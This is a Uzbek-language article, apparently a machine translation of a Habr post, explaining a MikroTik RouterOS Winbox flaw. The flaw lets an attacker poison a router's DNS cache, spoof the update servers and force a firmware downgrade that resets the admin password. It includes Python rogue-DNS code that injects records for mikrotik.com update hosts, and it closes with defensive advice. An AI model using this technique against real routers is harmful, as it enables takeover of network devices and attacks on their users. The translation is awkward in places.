RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

RouterOS (Mikrotik) asosidagi qurilmalarni masofadan turib pasaytirish imkoniyati yuz minglab tarmoq qurilmalarini xavf ostiga qo‘yadi. Zaiflik Winbox protokolining DNS keshini zaharlash bilan bog'liq va qurilmaga eskirgan (standart parolni tiklash bilan) yoki o'zgartirilgan dasturiy ta'minotni yuklash imkonini beradi.

RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

Zaiflik tafsilotlari

RouterOS terminali DNS qidirish uchun hal qilish buyrug'ini qo'llab-quvvatlaydi.

RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

Ushbu so'rov rezolyutsiya deb ataladigan ikkilik dastur tomonidan boshqariladi. Resolver RouterOS-ning Winbox protokoliga ulanadigan ko'plab ikkilik dasturlardan biridir. Yuqori darajada, Winbox portiga yuborilgan "xabarlar" massivga asoslangan raqamlash sxemasi asosida RouterOS'dagi turli ikkiliklarga yo'naltirilishi mumkin.

Odatiy bo'lib, RouterOS-da DNS server xususiyati o'chirilgan.

RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

Biroq, server funksiyasi o'chirilgan bo'lsa ham, yo'riqnoma o'zining DNS keshini saqlaydi.

RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

Misol.com uchun winbox_dns_request orqali so'rov qilganimizda, yo'riqnoma natijani keshlaydi.

RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

Biz so'rov yuborilishi kerak bo'lgan DNS serverini belgilashimiz mumkinligi sababli, noto'g'ri manzillarni kiritish ahamiyatsiz. Misol uchun, siz DNS server dasturini sozlashingiz mumkin Filipp Klaushar doim 192.168.88.250 IP manzilini o'z ichiga olgan A yozuvi bilan javob berish.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Endi Winbox-dan foydalanib example.com ni qidirsangiz, yo'riqnoma DNS keshi zaharlanganligini ko'rishingiz mumkin.

RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

Albatta, example.com ni zaharlash unchalik foydali emas, chunki router undan foydalanmaydi. Biroq, marshrutizator upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com va download.mikrotik.com saytiga kirishi kerak. Yana bir xato tufayli hammasini birdan zaharlash mumkin.

def dns_response(data):
    request = DNSRecord.parse(data)
    reply = DNSRecord(DNSHeader(
        id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
    qname = request.q.qname
    qn = str(qname)
    reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
    reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    reply.add_answer(RR("download.mikrotik.com",ttl=604800,
        rdata=A("192.168.88.250")))
    print("---- Reply:n", reply)
    return reply.pack()

Router bitta ruxsat so'raydi va biz beshtasini qaytarib beramiz. Router bu javoblarning hammasini to'g'ri keshlashmaydi.

RouterOS-dagi Backport zaifligi yuz minglab qurilmalarni xavf ostiga qo'yadi

Shubhasiz, ushbu hujum, agar yo'riqnoma DNS-server sifatida ishlayotgan bo'lsa ham foydalidir, chunki u router mijozlariga hujum qilish imkonini beradi.

Ushbu hujum, shuningdek, yanada jiddiy zaiflikdan foydalanishga imkon beradi: RouterOS versiyasini pasaytirish yoki orqaga qaytarish. Buzg'unchi yangilanish serverining mantiqini, shu jumladan o'zgarishlar jurnalini qayta yaratadi va RouterOS-ni eskirgan (zaif) versiyani joriy deb qabul qilishga majbur qiladi. Bu erda xavf shundaki, versiya "yangilanganda" administrator paroli standart qiymatga qaytariladi - tajovuzkor tizimga bo'sh parol bilan kirishi mumkin!


Shunga qaramay, hujum juda samarali muallif bilan bog'liq bo'lganlarni o'z ichiga olgan yana bir nechta vektorlarni amalga oshiradi proshivkaga orqa eshikni o'rnatish, lekin bu allaqachon ortiqcha texnika va uni noqonuniy maqsadlarda ishlatish noqonuniydir.

himoya

Winbox-ni oddiygina o'chirib qo'yish o'zingizni ushbu hujumlardan himoya qilish imkonini beradi. Winbox orqali boshqarish qulayligiga qaramay, SSH protokolidan foydalanish yaxshiroqdir.

Manba: www.habr.com

a Izoh qo'shish